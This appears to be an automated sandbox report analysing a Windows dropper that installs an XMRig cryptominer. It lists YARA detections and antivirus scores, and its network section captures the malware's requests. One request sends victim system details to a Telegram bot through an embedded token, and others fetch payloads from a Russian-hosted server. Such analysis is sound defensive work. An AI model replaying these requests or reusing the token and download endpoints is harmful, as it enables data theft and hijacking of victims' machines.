C:\Windows\Temp\yhdzsbkMAL_Sednit_DelphiDownloader_Apr18_2Detects malware from Sednit Delphi Downloader reportFlorian Roth
  • 0x72b0:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E
  • 0x674:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x70a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x493a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4a6c:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4afe:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x5c7a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x67ce:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x7236:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x72ae:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x732e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x9c82:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
C:\Windows\Temp\knfamxrMAL_Sednit_DelphiDownloader_Apr18_2Detects malware from Sednit Delphi Downloader reportFlorian Roth
  • 0x72b0:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E
  • 0x674:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x70a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x493a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4a6c:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4afe:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x5c7a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x67ce:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x7236:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x72ae:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x732e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x9c82:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
C:\Users\user\AppData\Local\Temp\strthiuMAL_Sednit_DelphiDownloader_Apr18_2Detects malware from Sednit Delphi Downloader reportFlorian Roth
  • 0x72b0:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E
  • 0x674:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x70a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x493a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4a6c:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4afe:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x5c7a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x67ce:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x7236:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x72ae:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x732e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x9c82:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
Click to see the 4 entries

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000048.00000002.538012235.00007FF7D7DF5000.00000008.00000001.01000000.0000000C.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
    00000008.00000002.418913343.00007FF700B95000.00000008.00000001.01000000.0000000C.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
      00000048.00000000.497280363.00007FF7D7DF5000.00000008.00000001.01000000.0000000B.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
        00000023.00000003.443793311.0000000000801000.00000004.00000020.00020000.00000000.sdmpMAL_Sednit_DelphiDownloader_Apr18_2Detects malware from Sednit Delphi Downloader reportFlorian Roth
        • 0x6330:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E
        • 0x16340:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E
        • 0x25b40:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E
        • 0x39ba:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x3aec:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x3b7e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x4cfa:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x584e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x62b6:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x632e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x63ae:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x8d02:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0xf704:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0xf79a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x139ca:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x13afc:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x13b8e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x14d0a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x1585e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x162c6:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        • 0x1633e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
        00000078.00000002.623425970.00007FF78F6D5000.00000008.00000001.01000000.0000000B.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
          Click to see the 53 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          8.0.Database.exe.7ff700090000.0.unpackMAL_XMR_Miner_May19_1Detects Monero Crypto Coin MinerFlorian Roth
          • 0x66b108:$x1: donate.ssl.xmrig.com
          • 0x66b5d9:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
          • 0x6fc723:$s2: \\?\pipe\uv\%p-%lu
          8.0.Database.exe.7ff700090000.0.unpackJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
            8.0.Database.exe.7ff700090000.0.unpackMALWARE_Win_CoinMiner02Detects coinmining malwareditekSHen
            • 0x66c788:$s1: %s/%s (Windows NT %lu.%lu
            • 0x670e08:$s3: \\.\WinRing0_
            • 0x611b42:$s4: pool_wallet
            • 0x60c170:$s5: cryptonight
            • 0x60c17e:$s5: cryptonight
            • 0x60c18d:$s5: cryptonight
            • 0x60c19b:$s5: cryptonight
            • 0x60c1b0:$s5: cryptonight
            • 0x60c1bf:$s5: cryptonight
            • 0x60c1cd:$s5: cryptonight
            • 0x60c1e2:$s5: cryptonight
            • 0x60c1f1:$s5: cryptonight
            • 0x60c202:$s5: cryptonight
            • 0x60c219:$s5: cryptonight
            • 0x60c227:$s5: cryptonight
            • 0x60c235:$s5: cryptonight
            • 0x60c245:$s5: cryptonight
            • 0x60c257:$s5: cryptonight
            • 0x60c268:$s5: cryptonight
            • 0x60c278:$s5: cryptonight
            • 0x60c288:$s5: cryptonight
            37.2.Database.exe.7ff714810000.0.unpackMAL_XMR_Miner_May19_1Detects Monero Crypto Coin MinerFlorian Roth
            • 0x66b108:$x1: donate.ssl.xmrig.com
            • 0x66b5d9:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
            • 0x6fc723:$s2: \\?\pipe\uv\%p-%lu
            37.2.Database.exe.7ff714810000.0.unpackJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
              Click to see the 25 entries

              Sigma Signatures

              ⊘No Sigma rule has matched

              Snort Signatures

              ⊘No Snort rule has matched

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus detection for dropped file
              Source: C:\ProgramData\Systemd\Database.exeAvira: detection malicious, Label: HEUR/AGEN.1203240
              Multi AV Scanner detection for submitted file
              Source: 2dOeahdsto.exeVirustotal: Detection: 72%Perma Link
              Source: 2dOeahdsto.exeMetadefender: Detection: 25%Perma Link
              Source: 2dOeahdsto.exeReversingLabs: Detection: 69%
              Multi AV Scanner detection for dropped file
              Source: C:\ProgramData\MicrosoftNetwork\System.exeVirustotal: Detection: 72%Perma Link
              Source: C:\ProgramData\MicrosoftNetwork\System.exeMetadefender: Detection: 25%Perma Link
              Source: C:\ProgramData\MicrosoftNetwork\System.exeReversingLabs: Detection: 69%
              Source: C:\ProgramData\Systemd\Database.exeVirustotal: Detection: 71%Perma Link
              Source: C:\ProgramData\Systemd\Database.exeMetadefender: Detection: 31%Perma Link
              Source: C:\ProgramData\Systemd\Database.exeReversingLabs: Detection: 69%
              Source: C:\ProgramData\Systemd\old.exe (copy)Virustotal: Detection: 71%Perma Link
              Source: C:\ProgramData\Systemd\old.exe (copy)Metadefender: Detection: 31%Perma Link
              Source: C:\ProgramData\Systemd\old.exe (copy)ReversingLabs: Detection: 69%
              Machine Learning detection for sample
              Source: 2dOeahdsto.exeJoe Sandbox ML: detected
              Machine Learning detection for dropped file
              Source: C:\ProgramData\MicrosoftNetwork\System.exeJoe Sandbox ML: detected
              Source: C:\ProgramData\Systemd\Database.exeJoe Sandbox ML: detected

              Bitcoin Miner

              barindex
              Yara detected Xmrig cryptocurrency miner
              Source: Yara matchFile source: 8.0.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 37.2.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 120.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 118.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 118.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 72.0.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 37.0.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 120.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 72.2.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000048.00000002.538012235.00007FF7D7DF5000.00000008.00000001.01000000.0000000C.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.418913343.00007FF700B95000.00000008.00000001.01000000.0000000C.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000048.00000000.497280363.00007FF7D7DF5000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000078.00000002.623425970.00007FF78F6D5000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000025.00000000.453287398.00007FF715315000.00000008.00000001.01000000.0000000C.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000025.00000002.476565930.00007FF715315000.00000008.00000001.01000000.0000000C.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000078.00000002.619535717.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000076.00000000.580719900.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000076.00000002.619409903.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000078.00000000.600804967.00007FF78F6D5000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000048.00000002.532148525.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000076.00000002.623158338.00007FF78F6D5000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000078.00000000.588642508.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000076.00000000.598210860.00007FF78F6D5000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000000.409610408.00007FF700B95000.00000008.00000001.01000000.0000000C.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000025.00000002.473138674.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.414869186.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000048.00000000.493131421.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Database.exe PID: 6524, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Database.exe PID: 7152, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Database.exe PID: 2108, type: MEMORYSTR
              Source: Yara matchFile source: C:\ProgramData\Systemd\Database.exe, type: DROPPED
              Found strings related to Crypto-Mining
              Source: Database.exeString found in binary or memory: stratum+ssl://%s
              Source: Database.exeString found in binary or memory: cryptonight/1
              Source: Database.exeString found in binary or memory: -o, --url=URL URL of mining server
              Source: Database.exeString found in binary or memory: stratum+tcp://
              Source: Database.exeString found in binary or memory: Usage: xmrig [OPTIONS] Network:
              Source: Database.exeString found in binary or memory: XMRig 6.17.0
              Source: unknownHTTPS traffic detected: 3.232.242.170:443 -> 192.168.2.7:49759 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49762 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 3.220.57.224:443 -> 192.168.2.7:49770 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49771 version: TLS 1.2
              Source: 2dOeahdsto.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData\Roaming
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014005A0D0 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,35_2_000000014005A0D0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140040EE0 GetFileAttributesW,FindFirstFileW,FindClose,35_2_0000000140040EE0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014004F070 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,35_2_000000014004F070
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140061180 FindFirstFileW,Sleep,FindNextFileW,FindClose,35_2_0000000140061180
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006F660 FindFirstFileW,FindClose,35_2_000000014006F660
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008A730 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,35_2_000000014008A730
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014003EAD0 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,35_2_000000014003EAD0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140059E40 FindFirstFileW,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,35_2_0000000140059E40
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006DF10 FindFirstFileW,FindNextFileW,FindClose,35_2_000000014006DF10

              Networking

              barindex
              Uses the Telegram API (likely for C&C communication)
              Source: unknownDNS query: name: api.telegram.org
              Source: unknownDNS query: name: api.telegram.org
              May check the online IP address of the machine
              Source: C:\Users\user\Desktop\2dOeahdsto.exeDNS query: name: api.ipify.org
              Source: C:\Users\user\Desktop\2dOeahdsto.exeDNS query: name: api.ipify.org
              Source: C:\Users\user\Desktop\2dOeahdsto.exeDNS query: name: api.ipify.org
              Source: C:\ProgramData\MicrosoftNetwork\System.exeDNS query: name: api.ipify.org
              Source: C:\ProgramData\MicrosoftNetwork\System.exeDNS query: name: api.ipify.org
              Source: C:\ProgramData\MicrosoftNetwork\System.exeDNS query: name: api.ipify.org
              Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 22 Jul 2022 15:01:25 GMTContent-Type: application/octet-streamContent-Length: 945944Last-Modified: Wed, 06 Jul 2022 17:17:57 GMTConnection: keep-aliveETag: "62c5c3c5-e6f18"Expires: Fri, 29 Jul 2022 15:01:25 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 80 69 b1 40 c4 08 df 13 c4 08 df 13 c4 08 df 13 79 47 49 13 c6 08 df 13 cd 70 5c 13 7d 08 df 13 cd 70 4a 13 ca 08 df 13 cd 70 5b 13 fd 08 df 13 e3 ce b2 13 cd 08 df 13 e3 ce 5f 13 c5 08 df 13 e3 ce a4 13 e5 08 df 13 c4 08 de 13 d7 0a df 13 cd 70 50 13 82 08 df 13 da 5a 4a 13 c6 08 df 13 da 5a 4b 13 c5 08 df 13 c4 08 48 13 c5 08 df 13 cd 70 4e 13 c5 08 df 13 52 69 63 68 c4 08 df 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 28 16 c8 4b 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 09 00 00 5c 09 00 00 2a 03 00 00 00 00 00 7c d4 01 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 0e 00 00 04 00 00 93 4e 0f 00 02 00 00 81 00 00 40 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 91 0a 00 54 01 00 00 00 10 0d 00 f0 ee 00 00 00 a0 0c 00 14 6a 00 00 f8 51 0e 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 09 00 a8 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c1 5a 09 00 00 10 00 00 00 5c 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c 56 01 00 00 70 09 00 00 58 01 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 cb 01 00 00 d0 0a 00 00 76 00 00 00 b8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 14 6a 00 00 00 a0 0c 00 00 6c 00 00 00 2e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f0 ee 00 00 00 10 0d 00 00 f0 00 00 00 9a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36Host: api.ipify.org
              Source: global trafficHTTP traffic detected: GET /bot5468819057:AAHRJabfvGnrMiNkuZj9RaE8-OjfRBxOw-4/sendMessage?chat_id=547765995&text=New%20User:%20887849%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20%0AIP:%2084.17.52.2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36Host: api.telegram.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36Host: api.ipify.org
              Source: global trafficHTTP traffic detected: GET /bot5468819057:AAHRJabfvGnrMiNkuZj9RaE8-OjfRBxOw-4/sendMessage?chat_id=547765995&text=New%20User:%20887849%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20%0AIP:%2084.17.52.2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.2.834 Yowser/2.5 Safari/537.36Host: api.telegram.org
              Source: global trafficHTTP traffic detected: GET /UpSys.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: a0694063.xsph.ruConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /CPU.zip HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: a0694063.xsph.ruConnection: Keep-Alive
              Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
              Source: Joe Sandbox ViewIP Address: 3.232.242.170 3.232.242.170
              Source: Joe Sandbox ViewIP Address: 3.232.242.170 3.232.242.170
              Source: 2dOeahdsto.exe, 00000000.00000003.429467680.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.612338983.000001C7BB7C1000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.622946464.0000012886934000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/
              Source: 2dOeahdsto.exe, 00000000.00000000.612338983.000001C7BB7C1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/2
              Source: System.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zip
              Source: 2dOeahdsto.exe, 00000000.00000000.615527115.000001C7BB835000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zip%
              Source: System.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zip5D
              Source: System.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zip5S
              Source: 2dOeahdsto.exe, 00000000.00000003.481675617.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.477688524.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.609507734.000001C7BB752000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.488412290.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.612338983.000001C7BB7C1000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.622946464.0000012886934000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipC:
              Source: 2dOeahdsto.exe, 00000000.00000003.429735272.000001C7BB752000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipCM6
              Source: System.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipLMEM
              Source: System.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipNPJ
              Source: 2dOeahdsto.exe, 00000000.00000003.482310024.000001C7BB7E3000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.481675617.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.477688524.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.612138921.000001C7BB7B6000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.618327074.00000128867FB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://a0694063.xsph.ru/CPU.zipTTC:
